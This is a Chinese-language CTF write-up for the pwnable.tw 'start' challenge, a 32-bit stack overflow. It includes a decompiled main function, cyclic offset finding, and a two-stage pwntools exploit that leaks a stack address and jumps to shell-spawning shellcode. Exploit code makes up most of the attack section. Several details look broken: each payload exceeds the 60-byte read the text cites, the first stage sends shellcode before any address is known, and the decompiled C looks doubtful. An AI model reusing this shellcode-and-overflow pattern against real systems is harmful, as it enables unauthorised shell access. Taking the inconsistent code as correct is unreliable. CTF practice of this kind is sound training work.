题目信息
- 平台:Pwnable.tw
- 题目:start
- 难度:★☆☆☆☆(简单)
- 类型:Pwn(二进制漏洞利用)
- 考察点:栈溢出、shellcode编写、ROP基础
环境准备
# 安装必要工具 sudo apt-get update sudo apt-get install -y gdb gdb-multiarch python3 python3-pip pip3 install pwntools 下载题目文件 wget https://pwnable.tw/static/chall/start chmod +x start 检查文件信息 file start start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped静态分析
使用IDA Pro或Ghidra分析二进制文件,发现关键函数:
int __cdecl main(int argc, const char **argv, const char **envp) { char buf[20]; // [esp+14h] [ebp-14h] BYREF write(1, "Let's start the CTF:", 0x14u); read(0, buf, 0x3Cu); // 缓冲区溢出漏洞! return 0; }漏洞点:buf数组大小为20字节,但read函数读取0x3C(60)字节,存在明显的栈溢出漏洞。
动态调试
#!/usr/bin/env python3 from pwn import * context(arch='i386', os='linux') p = process('./start') 计算偏移量 payload = cyclic(100) p.send(payload) p.wait() 查看崩溃信息 core = p.corefile offset = cyclic_find(core.eip) print(f"Offset: {offset}") # 输出:20通过cyclic模式确定偏移量为20字节。
漏洞利用
思路分析
- 覆盖返回地址,控制EIP
- 跳转到shellcode执行
- 获取shell权限
Exploit代码
#!/usr/bin/env python3 from pwn import * context(arch='i386', os='linux') 远程连接 p = remote('chall.pwnable.tw', 10000) p = process('./start') 接收欢迎信息 print(p.recvuntil(':')) 构造payload shellcode = asm(shellcraft.sh()) payload = b'A' * 20 # 填充缓冲区 payload += p32(0x08048087) # 泄露栈地址的gadget payload += shellcode 发送payload p.send(payload) 接收泄露的栈地址 stack_addr = u32(p.recv(4)) print(f"Stack address: {hex(stack_addr)}") 第二阶段:跳转到shellcode payload2 = b'A' * 20 payload2 += p32(stack_addr + 20) # 跳转到shellcode payload2 += shellcode p.send(payload2) 获取shell p.interactive()解题步骤
- 信息收集:使用file、checksec检查文件属性
- 静态分析:IDA分析找到漏洞点
- 动态调试:gdb调试确定偏移量
- 利用开发:编写ROP链和shellcode
- 权限提升:获取shell并读取flag
Flag获取
# 执行exploit后 $ cat /home/start/flag FLAG{st4rt_y0ur_pwn_j0urn3y}总结与扩展
- 知识点:栈溢出原理、shellcode编写、ROP基础
- 防护绕过:本题未开启NX/DEP,可直接执行栈上代码
- 学习建议:建议继续学习canary、ASLR、ROP等高级技术
参考资源
- Pwnable.tw官网:https://pwnable.tw
- CTF Wiki:https://ctf-wiki.org
- LiveOverflow YouTube频道